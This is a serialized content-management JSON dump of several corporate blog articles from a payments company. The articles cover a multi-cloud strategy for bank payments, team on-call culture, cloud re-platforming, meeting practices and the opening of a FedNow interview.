",[],"rich_text$09c0acf2-a4b2-49a0-8c45-4b16e7ce01f0",{"variation":437,"version":438,"items":13028,"primary":13029,"id":13037,"slice_type":468,"slice_label":5},[],{"body":13030},[13031,13034],{"type":988,"text":13032,"spans":13033,"direction":445},"The payments landscape in 2024",[],{"type":25,"text":13035,"spans":13036,"direction":445},"The year ahead holds a great deal of promise for forward-looking institutions that want to improve the customer experience, satisfy regulatory requirements and future-proof their back office infrastructure. Those banks that don’t continue on this journey of digital transformation will find themselves falling behind; those that do will certainly reap the rewards. ",[],"rich_text$15136aa7-3ebc-4d7c-abd3-c9ce2837da18",{"id":13039,"uid":13040,"type":3743,"data":13041},"alzypxEAAC4AUWGd","multicloud-approach-to-payments",{"title":13042,"excerpt":13043,"card_image":13044,"published_date":13050,"reading_time":1130,"tag":5813,"dek":13051,"featured_image":13052,"about_form3":13057,"client_about_heading":5,"client_about_body":13058,"author_name":5,"author_title":5,"author_photo":13059,"author_bio":13060,"author_linkedin":13061,"slices":13062,"meta_title":13046,"meta_description":13160},"The Need for a Multi-Cloud Approach to Payments and Legislation","In the ever-evolving landscape of banking technology intertwined with stringent regulatory frameworks, financial institutions, find themselves at a crossroads. The imperative to adopt a multicloud approach to managing payments and compliance is no longer just a strategic advantage but a necessary evolution.",{"dimensions":13045,"alt":13046,"copyright":5,"url":13047,"id":13048,"edit":13049},{"width":412,"height":412},"The Need for a Multi-cloud Approach to Payments and Legislation","\u002F_prismic-media\u002F0239d1c6724fcc3e-0fu9-mkg6m5XMPYm_multicloud-approach-to-payments.svg","0fu9-mkg6m5XMPYm",{"x":398,"y":398,"zoom":399,"background":650},"2024-05-09","In the ever-evolving landscape of banking technology intertwined with stringent regulatory frameworks, financial institutions, find themselves at a crossroads. The imperative to adopt a multi-cloud approach to managing payments and compliance is no longer just a strategic advantage but a necessary evolution. So why is a multi-cloud strategy becoming essential for banks, and how is this being driven by both technological advancements and regulatory demands?",{"dimensions":13053,"alt":5,"copyright":5,"url":13054,"id":13055,"edit":13056},{"width":501,"height":646},"\u002F_prismic-media\u002Fdaa788abcffaf35d-XkDUZz-vsHc9eLpd_b1ffd5b8-2505-4573-af35-e91f3fd.jpg","XkDUZz-vsHc9eLpd",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[13063,13081,13101,13115,13129,13146],{"variation":437,"version":438,"items":13064,"primary":13065,"id":13080,"slice_type":468,"slice_label":5},[],{"body":13066},[13067,13070,13073],{"type":988,"text":13068,"spans":13069,"direction":445},"The move to multi-cloud",[],{"type":25,"text":13071,"spans":13072,"direction":445},"The drive towards multi-cloud adoption is primarily fuelled by the demand for real-time, always-on transaction capabilities that modern financial markets require. Banks are under increasing pressure to maintain not just operational efficiency but also resilience and regulatory compliance. This dual requirement has led to a significant shift in how banks approach their IT infrastructure. ",[],{"type":25,"text":13074,"spans":13075,"direction":445},"The evolution of regulatory intent and the capabilities offered by modern technology are influencing banks worldwide. Regulatory bodies are increasingly mandating that financial institutions ensure higher levels of operational resilience, which in turn pushes banks to reconsider their technological foundations. Cloud-native technologies, known for enabling auto-scaling and cross-site resilience, appear to be the answer to many of these challenges. However, these technologies also bring about new questions—what happens if a cloud provider fails or exits the market? ",[13076],{"start":3310,"end":13077,"type":489,"data":13078},237,{"link_type":491,"url":13079,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fdora-cloud-regulation-for-banks-in-europe","rich_text$a5a2b2ff-632b-4522-9cbd-8ab0798f9c7d",{"variation":437,"version":438,"items":13082,"primary":13083,"id":13100,"slice_type":468,"slice_label":5},[],{"body":13084},[13085,13088,13091,13094],{"type":988,"text":13086,"spans":13087,"direction":445},"Overcoming dependence on single cloud providers",[],{"type":25,"text":13089,"spans":13090,"direction":445},"The dependence on a single cloud service provider poses significant risks, including potential outages, market exit, or changes in the services offered. Such scenarios can jeopardize a bank’s operational resilience and the integrity of its transactions.  ",[],{"type":25,"text":13092,"spans":13093,"direction":445},"Cloud providers typically operate sets of data centers (called Availability Zones or AZs), spread across one region. If there were a failure affecting all the AZs in that region, payment services that are operated in that particular region would become unavailable. In such a scenario the financial institutions and payment service providers would fail over to an alternate solution – like another cloud region or physical data centers for the duration of the outage. Such fail overs can take hours to achieve – causing major disruption to the availability of payment services. ",[],{"type":25,"text":13095,"spans":13096,"direction":445},"To mitigate these risks, a multicloud strategy is not just beneficial but necessary. By distributing their technology stack across multiple cloud service providers, banks can ensure that the failure of one provider does not disrupt their entire operation. This multi-cloud model offers a seamless, real-time platform that maintains functionality regardless of individual cloud service disruptions, ensuring continuous service and compliance with regulatory standards. ",[13097],{"start":1066,"end":9202,"type":489,"data":13098},{"link_type":491,"url":13099,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fcloud-optimisation-success-8-steps","rich_text$2b09b2e8-1dfc-4a41-9d2c-ad9b8be0b188",{"variation":437,"version":438,"items":13102,"primary":13103,"id":13114,"slice_type":468,"slice_label":5},[],{"body":13104},[13105,13108,13111],{"type":988,"text":13106,"spans":13107,"direction":445},"Integration of back office operations into cloud technologies",[],{"type":25,"text":13109,"spans":13110,"direction":445},"Historically, banks relied heavily on physical data centres with possible failover centres as backup. However, the scalability and resilience offered by cloud-native technology far surpass these traditional setups. The shift from traditional data centres to cloud solutions is not merely a trend but a significant upgrade in how banks manage data and services. This architecture is inherently more robust, scalable, and capable of handling the demands of modern banking. ",[],{"type":25,"text":13112,"spans":13113,"direction":445},"However, this reliance on cloud technology also necessitates a strategic approach to managing provider-dependent risks. Especially for large, systemically important financial institutions, regulators are increasingly focused on how these banks plan to manage potential cloud provider failures. Banks must now not only prove their resilience in using cloud technologies but also demonstrate their strategies for mitigating risks associated with their cloud dependencies. ",[],"rich_text$16377dec-7560-4bd7-8e8c-a9844143df13",{"variation":437,"version":438,"items":13116,"primary":13117,"id":13128,"slice_type":468,"slice_label":5},[],{"body":13118},[13119,13122,13125],{"type":988,"text":13120,"spans":13121,"direction":445},"Managing real-time payments and fraud prevention",[],{"type":25,"text":13123,"spans":13124,"direction":445},"The shift to real-time payments has transformed the financial landscape, offering speed and convenience but also introducing significant fraud risks. The real-time nature of these transactions means that traditional fraud monitoring systems, which rely on delayed verification, are often inadequate. To address this, financial institutions are increasingly turning to sophisticated fraud detection technologies that operate in real time. ",[],{"type":25,"text":13126,"spans":13127,"direction":445},"Fraud in real-time payments, particularly Authorised Push Payment (APP) fraud, poses unique challenges. In these cases, even when security measures verify a user’s identity, fraudsters can still manipulate users into authorising payments to illegitimate parties. To combat this, banks are employing technologies that can analyse the behaviour of transactions as they happen, identifying and stopping fraudulent transactions before they are completed. This proactive approach gives banks a crucial window to assess and react to potential fraud, protecting both their customers and their operational integrity. ",[],"rich_text$1ab7dc13-47fc-4514-9368-fd3a58c847c9",{"variation":437,"version":438,"items":13130,"primary":13131,"id":13145,"slice_type":468,"slice_label":5},[],{"body":13132},[13133,13136,13139,13142],{"type":988,"text":13134,"spans":13135,"direction":445},"The need for controlled friction in payment processes",[],{"type":25,"text":13137,"spans":13138,"direction":445},"While the banking industry strives for frictionless payments to enhance customer experience, the reality of fraud necessitates a balanced approach. Integrating sufficient controls within the transaction process—enough to prevent fraud but not so much as to degrade the user experience—is a significant technical challenge. Cloud-native technologies are particularly well-suited to this task, offering the flexibility to implement complex decision-making processes within very short timeframes. ",[],{"type":25,"text":13140,"spans":13141,"direction":445},"This technical capability to introduce \"controlled friction\" is crucial. It allows legitimate transactions to proceed with minimal delay while providing mechanisms to quickly flag and review transactions that may require further scrutiny. This balance is vital in maintaining trust and security in the fast-paced world of real-time financial transactions. ",[],{"type":25,"text":13143,"spans":13144,"direction":445},"As banks continue to navigate the complex landscape of digital transformation, adopting a multi-cloud approach becomes increasingly crucial. This strategy not only enhances operational resilience but also ensures that banks can meet stringent regulatory requirements and manage risks associated with single-provider dependencies. Those that are quick to adopt and integrate this approach will not only safeguard their operations against current challenges but also position themselves favourably for future technological advancements and regulatory changes.  ",[],"rich_text$97131122-34fb-4c77-bb2b-100713ce8256",{"variation":437,"version":438,"items":13147,"primary":13148,"id":13159,"slice_type":468,"slice_label":5},[],{"body":13149},[13150,13153,13156],{"type":988,"text":13151,"spans":13152,"direction":445},"A modern approach to multi-cloud with Form3",[],{"type":25,"text":13154,"spans":13155,"direction":445},"Form3 is revolutionizing the way banks handle payments, leveraging our cutting-edge multi-cloud approach to address the challenges faced by modern financial institutions. As banks grapple with the demands of operational resilience and regulatory compliance, Form3 offers a robust solution that ensures continuous service availability while mitigating risks associated with reliance on a single cloud provider. ",[],{"type":25,"text":13157,"spans":13158,"direction":445},"The gold standard multi-cloud approach, pioneered by Form3, uses cloud-agnostic technology to plug a bank’s payment platform into three cloud providers. If one cloud provider suffers an outage, payments can still flow uninterrupted. The payments data is fully synchronized across the three clouds, meaning customers can always access accurate information about their payments across cloud endpoints. ",[],"rich_text$61342ac7-5df8-483a-b58b-97e0792e7ded","In the ever-evolving landscape of banking technology intertwined with stringent regulatory frameworks, financial institutions, find themselves at a crossroads. The imperative to adopt a multicloud approach to managing payments and compliance is no longer just a strategic advantage but a necessary evolution. So why is a multicloud strategy becoming essential for banks, and how is this being driven by both technological advancements and regulatory demands?",{"id":13162,"uid":13163,"type":3743,"data":13164},"alzzrREAACwAUWQK","fostering-healthy-teams-at-form3",{"title":13165,"excerpt":13166,"card_image":13167,"published_date":11199,"reading_time":506,"tag":3751,"dek":13172,"featured_image":13173,"about_form3":13179,"client_about_heading":5,"client_about_body":13180,"author_name":5,"author_title":5,"author_photo":13181,"author_bio":13182,"author_linkedin":13183,"slices":13184,"meta_title":13165,"meta_description":13166},"Fostering healthy teams at Form3","In a fast-growing company such as Form3, where people and teams are constantly growing in number and responsibilities, it is crucial that everyone knows where to go for asking questions and for help.  Most of our service teams, have a \"private\" and \"support\" channel, the former is used by the team itself and it is for the daily \"chatting\", the latter is for people outside the team, and it is the place to go if you need help from a specific service team.",{"dimensions":13168,"alt":13165,"copyright":5,"url":13169,"id":13170,"edit":13171},{"width":412,"height":412},"\u002F_prismic-media\u002F2365b7766e93c352-uYXi6VM-h5-ynGBs_fostering-healthy-teams-at-form.png","uYXi6VM-h5-ynGBs",{"x":398,"y":398,"zoom":399,"background":400},"Ensuring everyone feels they can ask for help is a key method to ensure employees feel safe at work and can have healthy team relationships.  To make this happen, communication channels need to be well known by everybody, and we need to have the right tools for different type of communication. We need tools to unblock asynchronous discussions, tool for teams that span over different time zones and that allow flexible working hours, real-time tools to be used during a production incident, and the list goes on. In a fast-growing company such as Form3, where people and teams are constantly growing in number and responsibilities, it is crucial that everyone knows where to go for asking questions and for help.  Most of our service teams, have a \"private\" and \"support\" channel, the former is used by the team itself and it is for the daily \"chatting\", the latter is for people outside the team, and it is the place to go if you need help from a specific service team. To guarantee that messages in the support channel are not lost, every team has an internal on-call rota; one of the tasks for the internal on-call team is to give support to questions posted in the service \"support\" channel.   In addition to that there is an \"\u003Cservice>-support- on-call\" slack handler that people are encouraged to use when they need help.",{"dimensions":13174,"alt":13175,"copyright":5,"url":13176,"id":13177,"edit":13178},{"width":501,"height":502},"healthy teams at Form3","\u002F_prismic-media\u002F1184c8c724a69c18-8bOn5r9HmdV6HEnF_e37cb9ec-2336-43d1-b96e-4692166.png","8bOn5r9HmdV6HEnF",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[13185,13202],{"variation":437,"version":438,"items":13186,"primary":13187,"id":13201,"slice_type":468,"slice_label":5},[],{"body":13188},[13189,13192,13195,13198],{"type":988,"text":13190,"spans":13191,"direction":445},"The basic protocol has tons of advantages:",[],{"type":1151,"text":13193,"spans":13194,"direction":445},"First: you do not need to know the exact person to ping for getting help, the on-call handle will do it for you. ",[],{"type":1151,"text":13196,"spans":13197,"direction":445},"Second: you are not afraid of disturbing a team, the internal on-call rota is set up to allocate people for external help. ",[],{"type":1151,"text":13199,"spans":13200,"direction":445},"Third: the members of the team not in the on-call rota can focus on their tasks without any interruptions, and as fourth point, the responsiveness is great when you ask something, and you are guaranteed to get an answer! ",[],"rich_text$92be4a3e-4e1a-4e0b-b096-5bcd8707fbda",{"variation":437,"version":438,"items":13203,"primary":13204,"id":13224,"slice_type":468,"slice_label":5},[],{"body":13205},[13206,13209,13212,13215,13218,13221],{"type":988,"text":13207,"spans":13208,"direction":445},"The right tools are important, but they are useless without a good company culture. In Form3 we foster:",[],{"type":1151,"text":13210,"spans":13211,"direction":445},"Positive communication over negative. There are problems and life is not always great but we look at things from the positive side.",[],{"type":1151,"text":13213,"spans":13214,"direction":445},"Respect. We carefully choose the words we use.",[],{"type":1151,"text":13216,"spans":13217,"direction":445},"Embrace diversity by design. Diversity is a value not a problem.",[],{"type":25,"text":13219,"spans":13220,"direction":445},"In a remote first company, there is a lack of live human interaction, being aware of it, be respectful, strive for positive communication and adopt small attentions can fill that gap.  The internal service -on-call process is an example of the Form3's culture, that goes hand-in-hand with the definition of teams. ",[],{"type":25,"text":13222,"spans":13223,"direction":445},"The size of Form3's teams are kept quite small on purpose.  Small teams mean well defined scope and great flexibility. As individuals, it is easier to be seen and to get committed in a small team, as long as the team culture guarantees psychological safety. It is difficult to let individuals grow in large teams.  Thanks to the well-defined scope, a team oversees its own destiny. ",[],"rich_text$49c68c6b-2740-4eef-a763-622623182f54",{"id":13226,"uid":13227,"type":3743,"data":13228},"alzzqhEAACsAUWQC","why-banks-are-moving-to-a-platform-approach",{"title":13229,"excerpt":9907,"card_image":13230,"published_date":13235,"reading_time":643,"tag":5813,"dek":5,"featured_image":13236,"about_form3":13237,"client_about_heading":5,"client_about_body":13238,"author_name":5,"author_title":5,"author_photo":13239,"author_bio":13240,"author_linkedin":13241,"slices":13242,"meta_title":13330,"meta_description":9907},"From mainframes to the cloud. How back-end platforms are the enablers of front-end innovation.",{"dimensions":13231,"alt":13229,"copyright":5,"url":13232,"id":13233,"edit":13234},{"width":412,"height":412},"\u002F_prismic-media\u002F0683aa622f1852f9-om3iwqZYK7sYnc_L_why-banks-are-moving-to-a-platf.png","om3iwqZYK7sYnc_L",{"x":398,"y":398,"zoom":399,"background":400},"2022-11-23",{},[],[],{},[],{"link_type":434},[13243,13266,13274,13294,13320],{"variation":437,"version":438,"items":13244,"primary":13245,"id":13265,"slice_type":468,"slice_label":5},[],{"body":13246},[13247,13250,13253,13256,13259,13262],{"type":25,"text":13248,"spans":13249},"Like many century old industries, financial institutions established their organisational structures around a physical space, the office. The infrastructure needed to handle their critical business functions followed suit, and with the first computers being the size of a room, it seemed natural for the computer to live in a physical workspace.",[],{"type":25,"text":13251,"spans":13252},"Fast forward to the 1990’s, server rooms became the technological pulse of business, with every trade, payment, deal and email relying on it. With advances in technology moving at a rapid rate, so too did the demand for banks to digitalise their offerings. The multitude of business software needed was becoming as large as the hardware to manage it with offices being homes to endless racks of servers that continuously called for updates and maintenance.",[],{"type":25,"text":13254,"spans":13255},"In response to advances in technology and growth of digital, software hosting became the new normal with data centres popping up all over the place enabling banks to host their business applications. Several decades later and this still continues today for many financial institutions around the world.",[],{"type":25,"text":13257,"spans":13258},"However, the advent of cloud has seen a steady adoption of cloud-based services, that have now become mainstream across multiple industries. Now we are seeing the adoption of cloud for the very services at the core of banks, including payments On the latest leg of this journey, cloud native technology has become the new standard for managing and deploying applications which are built for the cloud from the ground up.",[],{"type":25,"text":13260,"spans":13261},"In today’s new, everything instant world, offices have turned virtual and organisational structures are built around web not physical addresses. No longer do banks need to keep hosting and maintaining their ageing software applications in the cloud but can remove the infrastructure burden completely by outsourcing the entire payment processing, clearing and settlement to a cloud-native, payments-as- a-service platform instead. Welcome to a new era of payments technology: ",[],{"type":25,"text":13263,"spans":13264},"…No hardware, no software, no maintenance and no eye watering professional service fees to perform upgrades.",[],"rich_text$7c0519c5-ab1f-481c-a590-258d5b4fc2e7",{"variation":437,"version":438,"items":13267,"primary":13268,"id":13273,"slice_type":583,"slice_label":5},[],{"quote":13269,"attribution_name":5,"attribution_role":5},[13270],{"type":25,"text":13271,"spans":13272},"“it’s important to recognise that software designed for mainframe servers will simply never port well into the cloud.\"",[],"pull_quote$f8fe8375-4d77-4b2b-92e2-a4588c97f352",{"variation":437,"version":438,"items":13275,"primary":13276,"id":13293,"slice_type":468,"slice_label":5},[],{"body":13277},[13278,13281,13284,13287,13290],{"type":988,"text":13279,"spans":13280,"direction":445},"Why re-platform?",[],{"type":25,"text":13282,"spans":13283,"direction":445},"All Financial institutions running on legacy technology are currently facing the same problem: they need to rethink legacy architectures that are increasingly costly, risky to maintain and slow to develop. Year on year, as customers expect ever more reliable, easy to use digital offerings from their banking services (with challenger banks setting out the realities of the art of the possible), legacy banks look to improve their services to rival that of the challengers.",[],{"type":25,"text":13285,"spans":13286,"direction":445},"They then face the problem that their legacy infrastructure, already outdated after a lengthy implementation, is based upon decades old technology that is hard to update. Increasing or decreasing physical capacity isn’t possible so increases in demand lead to downtime for customers. When updates are planned for the scheduled downtime inevitably impacts customers. Finally, banks that are tasked to operate and update these systems in the face of regulatory changes and scheme updates are inevitably over-reliant on the expertise of the original implementation teams whose professional services fees reflect this harsh reality.",[],{"type":25,"text":13288,"spans":13289,"direction":445},"The problem is global. In Europe, banks are also burdened by having multiple core banking platforms and separate local integrations due to expansion over decades. This makes it impossible for them to effectively roll out updates and patches and develop a unified customer experience.",[],{"type":25,"text":13291,"spans":13292,"direction":445},"The desire to investigate alternatives isn’t only driven by the negatives of legacy technology. By moving to a ‘cloud-first’ platform banks can now access the functionality and speed to market now required to adapt and survive. They need to be architected differently, from the core foundations up if they want to really benefit from new banking and payments services. This doesn’t simply mean technologically; they need to be architected for constant change across the organisation, from the way they interact with their customers to the way they develop, test and deploy code.",[],"rich_text$ddab7b3a-7501-4bc8-b3ae-6d1025388571",{"variation":437,"version":438,"items":13295,"primary":13296,"id":13319,"slice_type":468,"slice_label":5},[],{"body":13297},[13298,13301,13304,13307,13310,13313,13316],{"type":988,"text":13299,"spans":13300,"direction":445},"Through embracing re-platforming to the cloud, banks will be able to:",[],{"type":3373,"text":13302,"spans":13303,"direction":445},"Provide a better, richer set of services.",[],{"type":3373,"text":13305,"spans":13306,"direction":445},"Accelerate their speed of transformation to a future proofed platform.",[],{"type":3373,"text":13308,"spans":13309,"direction":445},"Enable transparency over their Total Cost of Ownership (TCO), whilst improving their return on investment through accessing a more reliable service at lower cost.",[],{"type":3373,"text":13311,"spans":13312,"direction":445},"Improve Availability, Resilience, and Scalability that takes full advantage of cloud native micro services.",[],{"type":3373,"text":13314,"spans":13315,"direction":445},"Ensure Security by design, taking advantage of the security of the public cloud.",[],{"type":3373,"text":13317,"spans":13318,"direction":445},"The potential for cloud-agnostic configurations that have multiple simultaneous live environments brings about a greater level of resilience.",[],"rich_text$5bcb9359-5c5f-4a49-a12e-7fb1a9af22b3",{"variation":437,"version":438,"items":13321,"primary":13322,"id":13329,"slice_type":468,"slice_label":5},[],{"body":13323},[13324,13326],{"type":988,"text":4445,"spans":13325,"direction":445},[],{"type":25,"text":13327,"spans":13328,"direction":445},"Huge advances in technology innovation are transforming the very core of financial services, challenging banks to reassess their front- and back-end platform architecture. It is not surprising that financial institutions around the world have started to examine payment platforms and the capabilities of the cloud as a key first step in moving away from the restrictions and barriers inherent in their existing legacy payment solutions.",[],"rich_text$c2ce6161-b2bb-4515-a5d0-d492fefc8d01","How back end platforms are the enablers of front end innovation.",{"id":13332,"uid":13333,"type":3743,"data":13334},"alzz5BEAACoAUWSN","gated-content-whitepaper-is-change-really-such-a-scary-word-digital",{"title":13335,"excerpt":13336,"card_image":13337,"published_date":13342,"reading_time":418,"tag":3992,"dek":13343,"featured_image":13344,"about_form3":13345,"client_about_heading":5,"client_about_body":13346,"author_name":5,"author_title":5,"author_photo":13347,"author_bio":13348,"author_linkedin":13349,"slices":13350,"meta_title":13335,"meta_description":13336},"Whitepaper: Is change really such a scary word? Digital disruption and opportunities in financial services","In this report we want to address why, in the modern technological era, change should be something to embrace and not hide from. Why industry changes as significant as the New Payments Architecture, FedNow or the move to ISO20022 can essentially become insignificant. We explore how the combination of years of experience, expert understanding of technology and a vibrant culture can turn a logistical nightmare into a dream.",{"dimensions":13338,"alt":13335,"copyright":5,"url":13339,"id":13340,"edit":13341},{"width":412,"height":412},"\u002F_prismic-media\u002Faec531bb6513d55d-p5-owMuG2T-_gwKN_gated-content-whitepaper-is-cha.png","p5-owMuG2T-_gwKN",{"x":398,"y":398,"zoom":399,"background":400},"2022-08-25","Traditionally, all aspects of change for financial institutions have been a concern. These large behemoths, with extensive decision- making processes and multiple moving divisions, sub-divisions and parts, make for very complex and un-agile organisations.",{},[],[],{},[],{"link_type":434},[13351,13362],{"variation":437,"version":438,"items":13352,"primary":13353,"id":13361,"slice_type":468,"slice_label":5},[],{"body":13354},[13355,13358],{"type":746,"text":13356,"spans":13357,"direction":445},"Why should change be embraced and not feared?",[],{"type":25,"text":13359,"spans":13360,"direction":445},"Payment technology is the bedrock of a Financial Institution, often in place for decades and deeply rooted into the fibre of an organisation. To change this would mean disappearing down a rabbit hole of fixes, overlays and applications housed in a monolith so big it would put Australia’s Uluru to shame. However, in this report we want to address why, in the modern technological era, change should be something to embrace and not hide from. ",[],"rich_text$90a019f9-7423-401a-be3c-fe22b4f602c1",{"variation":437,"version":527,"items":13363,"primary":13364,"id":13381,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":13365,"body":13366,"cta_label":5,"cta_link":13370,"aside_type":533,"aside_image":13371,"aside_video":13376,"aside_video_poster":13377,"aside_video_reduced_motion":13378,"aside_video_url":5,"aside_embed":13379,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":13380,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[13367],{"type":25,"text":13368,"spans":13369,"direction":445},"Why industry changes as significant as the New Payments Architecture, FedNow or the move to ISO20022 can essentially become insignificant. We explore how the combination of years of experience, expert understanding of technology and a vibrant culture can turn a logistical nightmare into a dream. ",[],{"link_type":434},{"dimensions":13372,"alt":5,"copyright":5,"url":13373,"id":13374,"edit":13375},{"width":501,"height":501},"\u002F_prismic-media\u002F17e1087042ffaabb-L50IoyXa2BUW4xiZ_080b3235-7546-4f39-bb28-98ad792.png","L50IoyXa2BUW4xiZ",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$ab953c2a-b91e-4988-a20d-e3586ee4f01f",{"id":13383,"uid":13384,"type":3743,"data":13385},"alzztxEAAC0AUWQk","how-form3-holds-effective-meetings",{"title":13386,"excerpt":13387,"card_image":13388,"published_date":13394,"reading_time":4603,"tag":3751,"dek":13395,"featured_image":13396,"about_form3":13401,"client_about_heading":5,"client_about_body":13402,"author_name":5,"author_title":5,"author_photo":13403,"author_bio":13404,"author_linkedin":13405,"slices":13406,"meta_title":13386,"meta_description":13387},"How Form3 holds effective meetings","At Form3 we have taken steps to ensure that every meeting is an effective one. Before proposing any changes, we made sure to consult our entire staff base on how we were doing – what is good about how we hold meetings, what we need to change, and what suggestions they have. This was a critical step for us as, we aim to put our staff at the centre of everything we do, and their insights were instrumental in developing our new way of approaching meetings.",{"dimensions":13389,"alt":13390,"copyright":5,"url":13391,"id":13392,"edit":13393},{"width":412,"height":412},"effective meetings","\u002F_prismic-media\u002Fcfb54f61fdf55953-9uj43Cu9OIW3bI24_how-form3-holds-effective-meeti.png","9uj43Cu9OIW3bI24",{"x":398,"y":398,"zoom":399,"background":400},"2022-11-07","Everything changes. This is especially true in business and technology. Form3 operates in a dynamic environment, one where we consistently pivot and adapt to remain ahead of the curve.  That being said, there are aspects of our working lives that haven’t adapted to the times quite as well. Meetings are a perfect example of this. They can be an incredibly effective tool to get teams to collaborate and advance organisational objectives. Which begs the question, why are they so often disliked? The universally known phrase, ‘this meeting could’ve been an email’, summarises our collective experience well. Too many meetings, that are too long and without any purpose to them. However, at Form3 we have taken steps to ensure that every meeting is an effective one. Read on to learn how we achieved this.",{"dimensions":13397,"alt":13390,"copyright":5,"url":13398,"id":13399,"edit":13400},{"width":501,"height":502},"\u002F_prismic-media\u002Feefe95328616b534-IDnvgUQXlfPuJ32D_a186f860-15cb-460b-a9fe-f758ac2.png","IDnvgUQXlfPuJ32D",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[13407,13418,13447,13458,13469,13483],{"variation":437,"version":438,"items":13408,"primary":13409,"id":13417,"slice_type":468,"slice_label":5},[],{"body":13410},[13411,13414],{"type":988,"text":13412,"spans":13413,"direction":445},"Listening to our teams",[],{"type":25,"text":13415,"spans":13416,"direction":445},"Before proposing any changes, we made sure to consult our entire staff base on how we were doing – what is good about how we hold meetings, what we need to change, and what suggestions they have. This was a critical step for us as, we aim to put our staff at the centre of everything we do, and their insights were instrumental in developing our new way of approaching meetings. ",[],"rich_text$27c8410a-10fa-42c2-baab-6b1d35a844e6",{"variation":437,"version":438,"items":13419,"primary":13420,"id":13446,"slice_type":468,"slice_label":5},[],{"body":13421},[13422,13425,13428,13431,13434,13437,13440,13443],{"type":988,"text":13423,"spans":13424,"direction":445},"25 is the new 30",[],{"type":25,"text":13426,"spans":13427,"direction":445},"The first thing we changed was to reduce the default meeting length, from 30 minutes to 25 minutes. Even still, we want to normalise meetings from anywhere between 5 to 20 minutes! The logic is that no one should have back-to-back meetings, without have a chance to make notes and reflect, or more importantly to stretch their legs and switch off their brain.  ",[],{"type":25,"text":13429,"spans":13430,"direction":445},"Additionally, we developed guidance on how to: ",[],{"type":1151,"text":13432,"spans":13433,"direction":445},"Decide if a meeting is necessary. ",[],{"type":1151,"text":13435,"spans":13436,"direction":445},"Set clear expectations on the purpose of your meeting. ",[],{"type":1151,"text":13438,"spans":13439,"direction":445},"Schedule meetings. ",[],{"type":1151,"text":13441,"spans":13442,"direction":445},"Actively manage meetings. ",[],{"type":1151,"text":13444,"spans":13445,"direction":445},"Agree & communicate action points.",[],"rich_text$01f0fd2e-1be6-411f-bc19-d4ac5f15c323",{"variation":437,"version":438,"items":13448,"primary":13449,"id":13457,"slice_type":468,"slice_label":5},[],{"body":13450},[13451,13454],{"type":988,"text":13452,"spans":13453,"direction":445},"Training package",[],{"type":25,"text":13455,"spans":13456,"direction":445},"The next challenge we faced is how to package this information and ensure successful implementation across the business. The solution was to develop a brand new eLearning course, that brought our new guidelines to life. In order to create a richer blend of learning, this was complimented by a new resource section on our online People Hub, this included templates and more information about some of the topics discussed. ",[],"rich_text$fc1382fe-0372-445b-b873-c5f7e9905e4a",{"variation":437,"version":438,"items":13459,"primary":13460,"id":13468,"slice_type":468,"slice_label":5},[],{"body":13461},[13462,13465],{"type":988,"text":13463,"spans":13464,"direction":445},"Helping hand from technology",[],{"type":25,"text":13466,"spans":13467,"direction":445},"As a remote first company we utilise tools like Outlook, Zoom and Slack throughout our working day, and in turn they are used in every meeting we hold. So, we set out to find out how they can work better for us, what settings can be adapted and what integrations can be taken advantage of. As a result, we developed a list of tips and recommendations and created a tutorial video displaying how to activate them. This training ended up providing time saving shortcuts to our teams and worked to reinforce the new guidelines communicated in the earlier eLearning module. ",[],"rich_text$be6d3411-f1fa-4d86-949c-b5383a9729d2",{"variation":437,"version":438,"items":13470,"primary":13471,"id":13482,"slice_type":468,"slice_label":5},[],{"body":13472},[13473,13476,13479],{"type":988,"text":13474,"spans":13475,"direction":445},"A new way of communicating",[],{"type":25,"text":13477,"spans":13478,"direction":445},"Before we conclude, we need to mention asynchronous communication. This topic was raised by several of our Engineers during our research and analysis phase. To quickly summarise this almost the opposite of a traditional meeting. Nothing happens in real time, tools like Slack and email are used to communicate and pass work back and forth. The benefit comes from team members responding when they are ready, rather than being put on the spot. If you consider that we work in an international and remote first environment, then this method of working starts to make a lot of sense. ",[],{"type":25,"text":13480,"spans":13481,"direction":445},"Whilst we haven’t fully embraced asynchronous communication, we can appreciate that some of our Engineering teams may wish to implement this type of communication, and so we have provided a collection of resources for them to learn more from. ",[],"rich_text$cf6610c6-cba8-4fe1-a29f-7d233f68815b",{"variation":437,"version":438,"items":13484,"primary":13485,"id":13495,"slice_type":468,"slice_label":5},[],{"body":13486},[13487,13490],{"type":988,"text":13488,"spans":13489,"direction":445},"Adapting & Evolving",[],{"type":25,"text":13491,"spans":13492,"direction":445},"These new standards have proven to be effective in how we manage our meetings and maximise our time. However, an important value at Form3 is, High Standards, this means we are on a journey of continuous improvement. The way we work is constantly changing and we are committed to adapting and evolving alongside it. So, we’ll keep listening to our teams to make sure that our next meeting is an effective one! ",[13493],{"start":13494,"end":4141,"type":765},142,"rich_text$d636c825-b76c-44e4-94dd-056988c5fd84",{"id":13497,"uid":13498,"type":3743,"data":13499},"alzz6xEAACsAUWSc","fednow-what-you-need-to-know-before-2023",{"title":13500,"excerpt":13501,"card_image":13502,"published_date":13507,"reading_time":643,"tag":3751,"dek":13508,"featured_image":13509,"about_form3":13510,"client_about_heading":5,"client_about_body":13511,"author_name":5,"author_title":5,"author_photo":13512,"author_bio":13513,"author_linkedin":13514,"slices":13515,"meta_title":13611,"meta_description":13612},"FedNow Interview: A deep dive into liquidity, interoperability, fraud and much much more","Miriam Sheril who joined Form3 recently from her role as product lead for FedNow at the Fed looks at the questions that still surround the new payment scheme, discussing areas such as interoperability, liquidity management as well as what use cases will help see the true adoption of instant payments in the US.",{"dimensions":13503,"alt":13500,"copyright":5,"url":13504,"id":13505,"edit":13506},{"width":412,"height":412},"\u002F_prismic-media\u002F96eee291c097b8b6-sRP2JO1G-MIAwNGZ_fednow-what-you-need-to-know-be.png","sRP2JO1G-MIAwNGZ",{"x":398,"y":398,"zoom":399,"background":400},"2022-08-16","With all eyes firmly fixed on the 